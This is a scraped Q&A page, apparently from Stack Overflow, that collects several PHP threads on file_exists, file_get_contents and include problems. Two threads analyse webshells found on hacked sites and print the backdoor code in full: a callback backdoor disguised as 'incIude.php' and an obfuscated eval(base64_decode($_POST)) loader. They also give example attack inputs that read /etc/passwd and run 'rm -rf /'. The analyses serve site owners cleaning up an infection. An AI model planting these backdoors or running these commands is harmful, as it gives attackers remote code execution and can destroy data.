file_exists() expects parameter 1 to be a valid path, string given - php

I'm designing a web application that can be customized based on which retail location the end user is coming from. For example, if a user is coming from a store called Farmer's Market, there may be customized content or extra links available to that user, specific to that particular store. file_exists() is used to determine if there are any customized portions of the page that need to be imported.
Up until now, we've been using a relatively insecure method, in which the item ID# and the store are simply passed in as GET parameters, and the system knows to apply them to each of the links within the page. However, we're switching to a reversible hash method, in which the store and item number are encrypted (to look something like "gd651hd8h41dg0h81"), and the pages simply decode them and assign the store and ID variables.
Since then, however, we've been running into an error that Googling extensively hasn't found me an answer for. There are several similar blocks of code, but they all look something like this:
$buttons_first = "../stores/" . $store . "/buttons_first.php";
if(file_exists($buttons_first))
{
include($buttons_first);
}
(The /stores/ directory is actually in the directory above the working one, hence the ../)
Fairly straightforward. But despite working fine when a regular ID and store is passed in, using the encrypted ID throws this error for each one of those similar statements:
Warning: file_exists() expects parameter 1 to be a valid path, string given in [url removed] on line 11
I've had the script spit back the full URL, and it appears to be assigning $store correctly. I'm running PHP 5.4.11 on 1&1 hosting (because I know they have some abnormalities in the way their servers work), if that helps any.

I got the same error before but I don't know if this solution of mine works on your problem you need to remove the "\0" try replace it:
$cleaned = strval(str_replace("\0", "", $buttons_first));
it worked on my case.

Run a var_dump(strpos($buttons_first,"\0")), this warning could come up when a path has a null byte, for security reasons. If that doesn't work, check the length of the string and make sure it is what you'd expect, just in case there are other invisible bytes.

It may be a problem with the path as it depends where you are running the script from. It's safer to use absolute paths. To get the path to the directory in which the current script is executing, you can use dirname(__FILE__).

Add / before stores/, you are better off using absolute paths.

I know this post was created on 2013 but didn't saw the common solution.
This error occurs after adding multiple to the file submit form
for example you are using files like this on php: $_FILES['file']['tmp_name']
But after the adding multiple option to the form. Your input name became file => file[]
so even if you post just one file, $_FILES['file']['tmp_name'] should be change to $_FILES['file']['tmp_name'][0]

Related

incIude.php, spelled with a capital "i" in the "l" position

I received a message from Siteground today with the subject "Vulnerable software detected on your account". (I love me some Siteground; no problem with their detection.)
When I investigate the files they found, there is a PHP file that exists in a few of my add on domains. It is incIude.php with a capital "i" in the "l" position. Even on this site, it looks the same as when properly spelled, because of the font. Obviously fishy. But curiously, the file is dated back in 2013. Any search I attempt comes back with links to typo-corrected files. It's the typo that is critical.
Anyway, here is the code in that file:
<?php #array_diff_ukey(#array((string)$_REQUEST['password']=>1),#array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); ?>
Obviously, I'm at work cleaning this up. I'm just curious as to whether any of your subscribers can tell me more about this particular exploit.
It seems this is a simple backdoor script for RCE (Remote Code Execution). Re-formatting the script:
#array_diff_ukey(
#array(
(string)$_REQUEST['password'] => 1
),
#array(
(string)stripslashes($_REQUEST['re_password']) => 2
),
$_REQUEST['login']
);
Everything is prefixed with # to make sure no errors, exceptions, or warnings are issued. This would give away the backdoor script.
The important vulnerability here is that the last argument of array_diff_ukey is a callback function. Per usual in PHP this can be an anonymous function, function variable, or a string.
So the attack is:
include the script somewhere, somehow (innocent git commit? small change by an insider? temporary write access to the codebase?); in particular a login / registration endpoint that would include login and register in the form fields, but anywhere works (since the request can still include login and register parameters)
send a request like ?login=system&password=ls
the function specified as login gets called with keys from either array, i.e. from password and re_password; in the example the function would be system("ls", NULL)
profit! (RCE)
The stealthiness comes from:
an innocent looking filename, normally indistinguishable from "include"
no errors thrown
executed on login attempts which might be part of regular requests and not logged properly
It calls an arbitrary function named with the login query parameter that accepts up to two parameters, with the first parameter being the value of the password field, and the second parameter being the value of the re_password field. For instance:
http://yoursite.com/incIude.php?login=system&password=cat%20%2fetc%2fpasswd
will print the contents of /etc/passwd.

file_get_contents not working when parameters included in a relative url

I am trying to create a simple web service that will give a result depending on parameters passed.
I would like to use file_get_contents but am having difficulties getting it to work. I have researched many of the other questions relating to the file_get_contents issues but none have been exactly the situation I seem to having.
I have a webpage:
example.com/xdirectory/index.php
I am attempting to get the value of the output of that page using:
file_get_contents(urlencode('https://www.example.com/xdirectory/index.php'));*
That does not work due to some issue with the https. Since the requesting page and the target are both on the same server I try again with a relative path:
file_get_contents(urlencode('../xdirectory/index.php'));
That does work and retrieves the html output of the page as expected.
Now if I try:
file_get_contents(urlencode('../xdirectory/index.php?id=100'));
The html output is (should be): Hello World.
The result retrieved by the command is blank. I check the error log and have an error:
[Fri Dec 04 12:22:54 2015] [error] [client 10.50.0.12] PHP Warning: file_get_contents(../xdirectory/index.php?id=100): failed to open stream: No such file or directory in /var/www/html/inventory/index.php on line 40, referer: https://www.example.com/inventory/index.php
The php.ini has these set:
allow_url_fopen, On local and On master
allow_url_include, On local and On master
Since I can get the content properly using only the url and NOT when using it with parameters I'm guessing that there is an issue with parameters and file_get_contents. I cannot find any notice against using parameters in the documentation so am at a loss and asking for your help.
Additional Notes:
I have tried this using urlencode and not using urlencode. Also, I am not trying to retrieve a file but dynamically created html output depending on parameters passed (just as much of the html output at index.php is dynamically created).
** There are several folks giving me all kind of good suggestions and it has been suggested that I must use the full blown absolute path. I just completed an experiment using file_get_contents to get http://www.duckduckgo.com, that worked, and then with a urlencoded parameter (http://www.duckduckgo.com/?q=php+is+cool)... that worked too.
It was when I tried the secure side of things, https://www.duckduckgo.com that it failed, and, with the same error message in the log as I have been receiving with my other queries.
So, now I have a refined question and I may need to update the question title to reflect it.
Does anyone know how to get a parameterized relative url to work with file_get_contents? (i.e. 'file_get_contents(urlencode('../xdirectory/index.php?id=' . urlencode('100'))); )
Unless you provide a full-blown absolute protocol://host/path-type url to file_get_contents, it WILL assume you're dealing with a local filesystem path.
That means your urlencode() version is wrongly doing
file_get_contents('..%2Fxdirectory%2Findex.php');
and you are HIGHLY unlikely to have a hidden file named ..%2Fetc....
call url with domain, try this
file_get_contents('https://www.example.com/inventory/index.php?id=100');
From reading your comments and additional notes, I think you don't want file_get_contents but you want include.
see How to execute and get content of a .php file in a variable?
Several of these answers give you useful pointers on what it looks like you're trying to achieve.
file_get_contents will return the contents of a file rather than the output of a file, unless it's a URL, but as you seem to have other issues with passing the URI absolutely....
So; you can construct something like:
$_GET['id'] = 100;
//this will pass the variable into the index.php file to use as if it was
// a GET value passed in the URI.
$output = include $_SERVER['DOCUMENT_ROOT']."/file/address/index.php";
unset($_GET['id']);
//$output holds the HTML code as a string,
The above feels hacky trying to incorporate $_GET values into the index.php page, but if you can edit the index.php page you can use plain PHP passed values and also get the output returned with a specific return $output; statement at the end of the included file.
It has been two years since I used PHP so I am just speculating about what I might try in your situation.
Instead of trying fetching the parsed file contents with arguments as a query string, I might try to set the variables directly within the php script and then include it (that is if the framework you use allows this).
To achive this I would use pattern:
ob_start -> set the variable, include the file that uses the variable -> ob_get_contents -> ob_end_clean
It is like opening your terminal and running the php file with arguments.
Anyway, I would not be surprised if there are better ways to achieve the same results. Happy hacking :o)
EDIT:
I like to emphasize that I am just speculating. I don't know if there are any security issues with this approach. You could of course ask and see if anyone knows here on stackoverflow.
EDIT2:
Hmm, scrap what I said last. I would check if you can use argv instead.
'argv' Array of arguments passed to the script. When the script is run on the command line, this gives C-style access to the command line parameters. When called via the GET method, this will contain the query string. http://php.net/manual/en/reserved.variables.server.php
Then you just call your php script locally but without the query mark indicator "?". This way you can use the php interpreter without the server.
This is likely to be the most general solution because you can also use argv for get requests if I am understanding the manual correctly.

Unusual Code in almost each WordPress PHP File

Can any one explain this code. I am having this code on the top of almost every php file. What is this code for. Thanks for your help.
Here is the code....
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
I've seen that code a number of times in different incarnations. It's a piece of injected code left by an attacker. If you break it down it almost always results in eval($var); where $var is an injected parameter (usually $_POST) that then is used to perform some sort of malicious act on your server. Bear in mind eval() will execute any linux command with the same permissions and authority of the user running Apache/PHP.
Breaking down your example
In your example you've given the following code:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n642afe'])) {eval($s21(${$s20}['n642afe']));} ?>
This is semi-obfuscated code but let's start to work through it. The first thing we need to do here is format it to start to understand it:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n642afe'])) {
eval($s21(${$s20}['n642afe']));
}
?>
We can see now that this is a relatively simple PHP script.
Line 1:
$sF="PCT4BA6ODSE_"; is just a variable with what seems like random rubbish in it.
Line 2:
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
This can be translated into: $s21 = "base64_decode"
Line 3:
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
As above, running strtoupper() on that string produces the result _POST.
Line 4:
The if statement here checks to see if ${s20}['n642afe'] is set. Well we know that $s20 evaluates to _POST and ${} type variables take the value as their variable name so this is really:
if(isset($_POST['n642afe'])){
Note: The n642afe part is a random parameter they've chosen so that you (or any other attacker!!!) tries to go to somefile.php?hack=yes it wouldn't work
Line 5:
The most dangerous part is here. Let's evaluate our variables in the same manner as above:
eval($s21(${$s20}['n642afe']));
The end result
eval(base64_decode($_POST['n642afe']));
If I were to send rm -rf / base64 encoded as post value for the parameter n642afe that would recursively delete everything. Unlikely it'd be able to do that without super user permissions but the point is - they'd have the same access rights as you do when you SSH to your server. Here's an example of what that'd look like:
http://example.com/infected.php?n642afe=cm0gLXJmIC8=
Translated, this becomes:
eval(base64_decode('cm0gLXJmIC8='));
And then again:
eval('rm -rf /');
My recommendation is - take the site offline immediately, update it, patch any
holes that are obvious and then make sure your server (and any other sites on there) are secure. Pay particular attention to file and folder permissions on your server. Note: this is a non-exhaustive list, there's so much more you can do to protect yourself.
If you simply delete this line you'll probably find one of two things will happen (or both):
The permissions on the "infected" file are different and the file is owned by a different user. You'll need to chmod/chown the file to get it back
The attackers will keep trying to get back in once they've been successful once. Simply removing the bad code is a good start but ask yourself this: "How did they get in in the first place?". With that in mind, please refer to my recommendation paragraph to begin to solve your issue.
Finding how they got in
To find where attackers 'got in' could be a game of cat and mouse, it's worth starting with the apache access logs though and searching for requests to your infected file with the parameter n642afe. You could also check your PHP logs to see what exactly was run and see what other holes they've opened.

CakePHP: How to set file name when using $this->response->file()

We're sending a zip file download as a response like this:
$this->response->file( "/export/stuff.zip", array('downlaod'=>true, 'name'=>"stuff.zip") );
return $this->response;
This works fine, BUT the file is always named export.zip. Our name option does not seem to have any effect. We've also tried without the .zip extension. This is confusing because the name options is shown here, in the docs.
What are we doing wrong?
Update:
We figured out that the seemingly arbitrary name "export" is being copied from the name of the controller action. We changed the method name to "admin_exportt" and then we get exportt.zip every time. This isn't documented anywhere that I've seen.
We found where the name is handled in the source code (/lib/Cake/Nework/CakeResponse.php:1254) and it appears that it should either use the original file name, or whatever is specified in the name options:
if (is_null($options['name'])) {
$name = $file->name;
} else {
$name = $options['name'];
}
Ugh! We figured out what was wrong...
Notice the word downlaod in the first line of my code above? That's the culprit. Apparently that bad option was causing the entire array to get ignored. I'm not sure if this will help anyone in the future, but I guess I'll leave it up as a reminder that CakePHP options work that way (at lease in this context).
PS: Whenever you're stuck, go take a walk and come back!

php include problem with urls with options ?view=task&others file not found

I really have read the other articles that cover this subject. But I seem to be in a slightly different position. I'm not using modrewrite (other articles).
I would like to 'include' a webpage its a 'Joomla php' generated page inside a php script. I'd hoped to make additions on the 'fly' without altering the original script. So I was going to 'precomplete' elements of the page by parasing the page once it was included I hadent wanted to hack the original script. To the point I can't include the file and its not because the path is wrong -
so
include ("/home/public_html/index.php"); this would work
include ("/home/public_html/index.php?option=com_k2&view=item&task=add"); this would not!
I've tried a variety of alternates, in phrasing, I can't use the direct route "http:etc..." since its a current php version so must be a reference to the same server. I tried relative, these work without the ?option=com_k2&view=item&task=add
It may be the simple answer that 'options' or variables can be passed.
Or that the include can't be used to 'wait' for a page to be generated - i.e. it will only return the html.
I'm not the biggest of coders but I've done alot more than this and I thought this was so basic.
this would work include ("/home/public_html/index.php?option=com_k2&view=item&task=add"); this would not!
And it never will: You are mixing a filesystem path with GET parameters, which can be passed only through the web server (utilizing a http:// call... But that, in turn, won't run the PHP code the way you want.)
You could set the variables beforehand:
$option = "com_k2";
$view = "item";
$task = "add";
include the file the normal way:
include ("/home/public_html/index.php");
this is assuming that you have access to the file, and can change the script to expect variables instead of GET parameters.

Categories